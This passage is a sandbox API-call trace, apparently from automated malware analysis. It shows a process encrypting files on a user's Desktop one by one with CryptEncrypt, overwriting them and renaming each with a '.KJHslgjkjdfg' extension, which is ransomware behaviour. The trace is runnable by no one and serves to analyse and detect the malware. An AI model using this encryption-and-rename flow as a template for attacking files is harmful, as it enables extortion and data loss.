hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.046] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14b4b, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x14b4b, lpOverlapped=0x0) returned 1 [0144.047] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x14b50, dwBufLen=0x14b50 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x14b50) returned 1 [0144.048] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.048] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14b50, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x14b50, lpOverlapped=0x0) returned 1 [0144.048] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.048] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x14c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.048] SetEndOfFile (hFile=0xb8) returned 1 [0144.050] GetProcessHeap () returned 0x990000 [0144.050] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.050] GetProcessHeap () returned 0x990000 [0144.050] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.050] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\cR0X.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\cr0x.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\cR0X.rtf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\cr0x.rtf.kjhslgjkjdfg")) returned 1 [0144.067] CloseHandle (hObject=0xb8) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48e3790, ftCreationTime.dwHighDateTime=0x1d5d7d3, ftLastAccessTime.dwLowDateTime=0xe5f9f330, ftLastAccessTime.dwHighDateTime=0x1d5e189, ftLastWriteTime.dwLowDateTime=0xe5f9f330, ftLastWriteTime.dwHighDateTime=0x1d5e189, nFileSizeHigh=0x0, nFileSizeLow=0x181f4, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="dKwBqHqc kY.odt", cAlternateFileName="DKWBQH~1.ODT")) returned 1 [0144.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\dKwBqHqc kY.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\dkwbqhqc ky.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.068] GetProcessHeap () returned 0x990000 [0144.068] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.068] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.068] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.068] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0xc, lpOverlapped=0x0) returned 1 [0144.070] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.070] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.070] GetProcessHeap () returned 0x990000 [0144.070] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.070] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40) returned 1 [0144.070] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.070] WriteFile (in: hFile=0xb8, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfa08*=0x40, lpOverlapped=0x0) returned 1 [0144.070] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.071] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.071] WriteFile (in: hFile=0xb8, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.071] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.071] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.071] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.071] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.071] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.071] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x181f4, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x181f4, lpOverlapped=0x0) returned 1 [0144.074] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x18200, dwBufLen=0x18200 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x18200) returned 1 [0144.075] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.075] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18200, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x18200, lpOverlapped=0x0) returned 1 [0144.075] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.075] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x182d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.075] SetEndOfFile (hFile=0xb8) returned 1 [0144.076] GetProcessHeap () returned 0x990000 [0144.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.076] GetProcessHeap () returned 0x990000 [0144.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.077] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\dKwBqHqc kY.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\dkwbqhqc ky.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\dKwBqHqc kY.odt.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\dkwbqhqc ky.odt.kjhslgjkjdfg")) returned 1 [0144.086] CloseHandle (hObject=0xb8) returned 1 [0144.086] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee335b0, ftCreationTime.dwHighDateTime=0x1d5dddc, ftLastAccessTime.dwLowDateTime=0x49ac2680, ftLastAccessTime.dwHighDateTime=0x1d5e097, ftLastWriteTime.dwLowDateTime=0x49ac2680, ftLastWriteTime.dwHighDateTime=0x1d5e097, nFileSizeHigh=0x0, nFileSizeLow=0x32f0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="kSbncCxxNvtbOz114.bmp", cAlternateFileName="KSBNCC~1.BMP")) returned 1 [0144.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\kSbncCxxNvtbOz114.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ksbnccxxnvtboz114.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.087] GetProcessHeap () returned 0x990000 [0144.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.087] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.087] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.087] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.087] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.087] GetProcessHeap () returned 0x990000 [0144.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.087] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50) returned 1 [0144.087] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.087] WriteFile (in: hFile=0xb8, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfa08*=0x50, lpOverlapped=0x0) returned 1 [0144.090] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.090] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.090] WriteFile (in: hFile=0xb8, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.091] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.091] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.091] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.091] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.091] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.091] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32f0, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x32f0, lpOverlapped=0x0) returned 1 [0144.092] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x32f0, dwBufLen=0x32f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x32f0) returned 1 [0144.092] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.092] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x32f0, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x32f0, lpOverlapped=0x0) returned 1 [0144.092] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.092] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.092] SetEndOfFile (hFile=0xb8) returned 1 [0144.095] GetProcessHeap () returned 0x990000 [0144.095] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.095] GetProcessHeap () returned 0x990000 [0144.095] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.095] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\kSbncCxxNvtbOz114.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ksbnccxxnvtboz114.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\kSbncCxxNvtbOz114.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ksbnccxxnvtboz114.bmp.kjhslgjkjdfg")) returned 1 [0144.096] CloseHandle (hObject=0xb8) returned 1 [0144.098] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe26dc2b0, ftCreationTime.dwHighDateTime=0x1d5e29b, ftLastAccessTime.dwLowDateTime=0x8438a720, ftLastAccessTime.dwHighDateTime=0x1d5d87b, ftLastWriteTime.dwLowDateTime=0x8438a720, ftLastWriteTime.dwHighDateTime=0x1d5d87b, nFileSizeHigh=0x0, nFileSizeLow=0x36f9, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="nv2wHT9Af76pUE5fPWw.ppt", cAlternateFileName="NV2WHT~1.PPT")) returned 1 [0144.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\nv2wHT9Af76pUE5fPWw.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\nv2wht9af76pue5fpww.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.098] GetProcessHeap () returned 0x990000 [0144.099] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.099] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.099] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.099] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0x7, lpOverlapped=0x0) returned 1 [0144.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.101] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.101] GetProcessHeap () returned 0x990000 [0144.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.101] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50) returned 1 [0144.101] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.101] WriteFile (in: hFile=0xb8, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfa08*=0x50, lpOverlapped=0x0) returned 1 [0144.101] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.102] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.102] WriteFile (in: hFile=0xb8, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.102] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.102] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.102] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.102] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.102] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.102] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x36f9, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x36f9, lpOverlapped=0x0) returned 1 [0144.103] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x3700, dwBufLen=0x3700 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x3700) returned 1 [0144.103] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.104] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x3700, lpOverlapped=0x0) returned 1 [0144.104] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.104] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x37e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.104] SetEndOfFile (hFile=0xb8) returned 1 [0144.110] GetProcessHeap () returned 0x990000 [0144.110] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.110] GetProcessHeap () returned 0x990000 [0144.110] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.110] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\nv2wHT9Af76pUE5fPWw.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\nv2wht9af76pue5fpww.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\nv2wHT9Af76pUE5fPWw.ppt.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\nv2wht9af76pue5fpww.ppt.kjhslgjkjdfg")) returned 1 [0144.116] CloseHandle (hObject=0xb8) returned 1 [0144.116] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee93a4d0, ftCreationTime.dwHighDateTime=0x1d5e159, ftLastAccessTime.dwLowDateTime=0x231eca00, ftLastAccessTime.dwHighDateTime=0x1d5e2c6, ftLastWriteTime.dwLowDateTime=0x231eca00, ftLastWriteTime.dwHighDateTime=0x1d5e2c6, nFileSizeHigh=0x0, nFileSizeLow=0x36e4, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="oGRTTkwYTk9E.flv", cAlternateFileName="OGRTTK~1.FLV")) returned 1 [0144.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\oGRTTkwYTk9E.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ogrttkwytk9e.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.124] GetProcessHeap () returned 0x990000 [0144.124] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.124] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.124] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.124] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0xc, lpOverlapped=0x0) returned 1 [0144.126] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.126] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.126] GetProcessHeap () returned 0x990000 [0144.126] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.126] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40) returned 1 [0144.126] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.126] WriteFile (in: hFile=0xb8, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfa08*=0x40, lpOverlapped=0x0) returned 1 [0144.126] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.126] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.127] WriteFile (in: hFile=0xb8, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.127] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.127] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.127] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.127] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.127] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.127] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x36e4, lpNumberOfBytesRead=0x29dfa14, 